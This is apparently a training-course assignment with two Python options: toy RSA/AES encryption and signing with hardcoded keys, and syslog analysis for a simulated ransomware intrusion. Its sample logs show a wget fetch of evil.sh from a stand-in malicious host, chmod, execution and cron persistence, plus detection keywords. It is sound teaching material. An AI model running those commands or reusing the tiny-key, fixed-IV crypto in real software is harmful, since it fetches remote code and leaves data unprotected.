Skills For Hire Atlantic Cohort 7

Cybersecurity - Assignment 1

Overview

This assignment consists of two parts: Networking and cybersecurity foundations Multiple Choice Questions (MCQ) as Part 1 and Python Programming for Cybersecurity (Part 2 - complete one of 2 proposed questions) with a **maximum assignment credits of 40**. Answer both parts and provide clear explanations where necessary. You will be graded on the accuracy of your results. Please make sure to clearly indicate the question parts before answering them.

Note: This assignment will count for 60% of your total assignment grade.

Due date: **October 12, 2025**

Hints

- Start early. There are many parts to this assignment and it would be very difficult if left to the last minute.
- Don't reinvent the wheel. Feel free to use the examples covered in class. If you get stuck, reach out to your TA for help!
- Do not spend hours without asking for help. Good luck!

Submission Instructions

Part 1: Networking and Cybersecurity (MCQ) - 10 points

This part consists of 10 multiple-choice questions on networking and cybersecurity fundamentals. Simply answer all 10 questions and submit your responses using the form provided in DISCO or use this link.

Note: You will have only **one attempt**, so ensure your answers are final before submitting.

Part 2: Python Programming for Cybersecurity - 30 points

1. **Compile Your Work**: Gather all your code, outputs, and any explanations into a single document to ensure a well-structured submission.
2. **Screenshot & Explanation**: Include clear screenshots showing both the executed **code** and the **corresponding output**. Only output screenshots will not be accepted. You may also add comments or explanations to your code or results for clarity.
3. **File Format**: Save your document as a **PDF file (.pdf)** containing all your code, outputs, and explanations.
4. **File Naming**: Name your file as `StudentId_FullName_Group.pdf` (e.g., `AM07677_AdeMartins_CS-Green.pdf`). Be sure to replace:
    - `StudentId` with your Student ID
    - `FullName` with your full name
    - `Group` with your TA group
5. **Submission Link:** Submit your file in the Assignment 1 box under **Curriculum** in the Community Learning Space (DISCO). You can follow Learning > *Your Group Name* > Curriculum, then scroll down to Assignment 1.

Reminder: Submitting a well-organized document will make it easier to review your work. Make sure everything is clear and complete before submitting!

Note. You are required to complete **ONLY ONE** of the following two questions:

- Question 1: Cryptography using Python
- Question 2: Log File Analysis for Security Alerts

Google Colab is highly recommended to be used as the platform for coding, although other platforms are also allowed.

Remember to Include clear screenshots showing both the executed code and the corresponding output in a PDF file for Assignment submission.

Question 1 – Cryptography using Python

1. Secure Messaging using Cryptographic Functions.

Background

The year is 2025. Cyber espionage is at an all-time high. Intelligence agents across the globe are being targeted through compromised communication platforms. You've been recruited by a top-secret cybersecurity division, tasked with developing the core of a secure messaging system for field agents.

Your first mission: enable Agent Alice and Agent Bob to exchange sensitive information in hostile territory. Their messages must remain confidential, authentic, and tamper-proof — protected against interception, impersonation, and replay attacks.

You are the cryptographic engineer responsible for implementing security using: - AES (Confidentiality) - RSA (Key Exchange & Encryption) - Digital Signatures (Authenticity & Integrity)

Instructions for Q1

- Use only the cryptography parameters provided below. Do **not** use any other keys, IVs, or parameters outside of what is given.
- Theory based questions are labeled in the assignment. Write your answers as comments in your python file right below the corresponding question.
- Take clear screenshots of the input and output in the terminal/IDE, insert the screenshots into a word file. Save/export the Word file as a **PDF and** name as previously mentioned.

Cryptographic Parameters

RSA Key Pair:

- Modulus (n) = 521_895_036_569
- Public exponent (e) = 65_537
- Private exponent (d) = 140_513_163_173

AES Parameters:

- AES Key (16 bytes) = b”thisisasecretkey”
- IV (16 bytes) = b”thisisaninitvect”

Mission Message:

ALERT: Rendezvous at LAT 45.4215, LON -75.6972 at 22:00 local. Codeword: ORCHID.

Questions

A. AES Encryption (6 + 3)

Q1. Encrypt and decrypt the mission message using AES-CBC with the given key and IV. Show that Bob recovers the original plaintext.

Hint: Use Python’s Crypto.Cipher.AES in CBC mode. Pad plaintext before encryption and unpad after decryption.

Q2. Why is it insecure to reuse the same AES key and IV for multiple messages? (Theory)

B. RSA Encryption (6 + 3)

Q1. Show Python code where Alice encrypts the AES key with Bob’s RSA public key and Bob decrypts it.

Hint: Use pow(m, e, n) for encryption and pow(c, d, n) for decryption. Convert AES key bytes to integer before encryption and back to bytes after decryption.

Q2. Why should RSA not be used to encrypt large files directly? (Theory)

C. Digital Signatures (3 + 4 +5)

Q1. Implement RSA digital signatures

- **sign_message(msg, d, n)**
- **verify_signature(msg, sig, e, n)**

Sign the mission message and verify it

Hint: Hash the message (SHA-256) first. Signature = H(msg)^d mod n. Verify: sig^e mod n == H(msg).

Q2. Modify one word in the message (e.g., change "ORCHID" to "LOTUS"). Verify with Alice's old signature. What happens and why?

Hint: Changing even one character changes the hash; old signature will not verify.

Expected Output: Tampered message verification: False (The verification fails because the signature no longer matches the modified message.)

Q3. Show that resending the old valid signed message still verifies. Modify the signature scheme to include a timestamp to prevent replay. Demonstrate that the same signature cannot be reused.

Hint: Append a timestamp or random nonce to the message before signing. Verification fails if the timestamp/nonce is missing or outdated.

Expected Output: Replay protection - correct verification: True

Replay protection - old message verification: False

Replay defense: Include timestamp in signed message to prevent reuse.

End of Question 1 – Cryptography using Python

Question 2: Log File Analysis for Security Alerts

Objective

This assignment introduces students to analyzing system logs for cybersecurity threats. By working with a realistic syslog file, students will:

- Process and analyze Linux syslog files using Python.
- Extract security-related events such as failed login attempts, suspicious commands, and ransomware indicators.
- Identify patterns indicative of a ransomware attack.
- Create a simple visualization to highlight attack activity over time.

Provided Dataset:

A link to download the file is provided in DISCO as attachment with the assignment.

Students will be provided with a realistic syslog file (syslog) containing entries from a Linux server. This log includes normal system activity mixed with a simulated ransomware attack, including:

- Multiple failed SSH login attempts.
- A successful root login from an unusual IP.
- Download and execution of suspicious scripts.
- Signs of file encryption and persistence mechanisms.

Example Log Entries (syslog)

```
Aug 18 22:14:35 server01 sshd[3456]: Failed password for invalid user admin
from 192.168.1.100 port 45678 ssh2
Aug 18 23:05:12 server01 sshd[2222]: Accepted password for root from
203.0.113.10 port 4444 ssh2
Aug 18 23:10:00 server01 bash[3001]: wget http://malicious.example.com/evil.sh
Aug 18 23:13:15 server01 bash[3003]: chmod +x evil.sh
Aug 18 23:20:01 server01 encryptor[3500]: encryptor --path /home/user
Aug 18 23:21:30 server01 bash[3006]: mv important.doc important.doc.locked
```

Explanation of Key Parts in Each Log Entry:

Field	Description
Aug 18 23:05:12	Timestamp (Month Day HH:MM:SS)
server01	Hostname
sshd[2222]	Process name and PID
Message	Log message indicating event or action

SKILLS FOR HIRE | ELEVEZ VOS COMPÉTENCES Atlantique

Task: Log Analysis with Cybersecurity Insights

Write a Python script that performs the following analysis on access.log:

(A) Identify Repeated Failed Login Attempts (7)

1. Detect IP addresses with multiple failed SSH login attempts (lines containing "Failed password").
2. Count how many failed attempts each IP has.
3. Flag any IP with more than 5 failed attempts as a "Possible Brute Force Attack".

Example Output:

```
Suspicious IPs with failed logins:
192.168.1.45 - 5 failed login attempts - Possible Brute Force Attack
```

(B) Detect Signs of Ransomware Activity (7)

1. Your script should search the log file for **specific indicators** of ransomware behavior. Identify and classify suspicious lines into the following **event types**:

Event Type	What to Search For in Log Message
SUCCESSFUL_LOGIN	"Accepted password for root"
FILE_DOWNLOAD	wget, curl
PERMISSION_CHANGE	chmod +x
SCRIPT_EXECUTION	Execution of files like ./evil.sh or any bash script
ENCRYPTION_ACTIVITY	Commands like encryptor, or files renamed with .locked extensions
PERSISTENCE_MECHANISM	OR CRON invoking scripts from , , , or other non-standard locations

2. Store these suspicious events and print a **summary table**, like the example below.

```
Suspicious Events Summary:
--------------------------
[Timestamp] - [Event Type] - [Message]
Aug 18 23:05:12 - SUCCESSFUL_LOGIN - sshd[2222]: Accepted password for root
from 203.0.113.10 port 4444 ssh2
Aug 18 23:10:00 - FILE_DOWNLOAD - bash[3001]: wget
http://malicious.example.com/evil.sh
Aug 18 23:13:15 - PERMISSION_CHANGE - bash[3003]: chmod +x evil.sh
Aug 18 23:15:22 - SCRIPT_EXECUTION - bash[3004]: ./evil.sh
```

```
Aug 18 23:20:01 - ENCRYPTION_ACTIVITY - encryptor[3500]: encryptor --path
/home/user
Aug 18 23:21:30 - ENCRYPTION_ACTIVITY - bash[3006]: mv important.doc
important.doc.locked
Aug 18 23:23:45 - PERSISTENCE_MECHANISM - CRON[3510]: @reboot root ./evil.sh
```

(C) Generate a Summary Report (7)

At the end of your script, print a summary including:

- Total number of log entries analyzed.
- Total number of failed login attempts.
- Number of IPs flagged for possible brute force attacks.
- Count of suspicious ransomware-related events detected.

Example Output:

```
Log Analysis Summary
------------------------------
Total log entries analyzed: 2137
Failed SSH login attempts: 84
IPs flagged for possible brute force attacks: 2
192.168.1.100
198.51.100.25

Suspicious ransomware-related events detected: 7
1 successful root login
1 file download
1 permission change
1 script execution
2 encryption activities
1 persistence mechanism
```

Reflection Questions (9)

Provide a **written response** to the following questions:

What challenges did you encounter when parsing syslog data, and how did you overcome them?

Why is it important to correlate multiple log events (e.g., failed logins followed by suspicious downloads) when investigating potential attacks?

What are the limitations of log-based detection in identifying ransomware or other advanced threats?

End of Question 2: Log File Analysis for Security Alerts